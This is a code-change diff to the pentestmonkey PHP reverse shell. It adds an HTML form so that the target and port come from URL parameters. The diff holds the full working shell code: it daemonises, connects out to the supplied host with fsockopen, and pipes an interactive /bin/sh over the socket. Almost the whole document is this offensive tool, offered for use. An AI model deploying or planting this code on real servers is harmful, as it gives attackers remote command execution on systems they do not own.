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Update php-reverse-shell.php #9

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62 changes: 30 additions & 32 deletions php-reverse-shell.php
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Original file line number Diff line number Diff line change
@@ -1,3 +1,29 @@
<!DOCTYPE html>
<html>
<title>PentestMonkey Reverse Shell</title>
<body>
<form method="GET">
<td>
<table style="border-spacing: 6px;">
<tr>
<td>IP</td>
<td>
<input style="width: 200px;" name="ip" placeholder="IP" />
</td>
</tr>
<tr>
<td>Port</td>
<td><input style="width: 200px;" name="port" placeholder="Port"/>
</tr>
<tr>
<td>
<input style="width: 90px;" class="own" type="submit" value="Connect"/>
</td>
</tr>

</table>
</td>
</form>
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
Expand Down Expand Up @@ -46,104 +72,83 @@

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$ip = $_GET['ip'];
$port = $_GET['port'];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
Expand All @@ -152,7 +157,6 @@
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
Expand All @@ -161,7 +165,6 @@
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
Expand All @@ -171,22 +174,17 @@
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {

if (!$daemon) {
print "$string\n";
}
}

?>



?>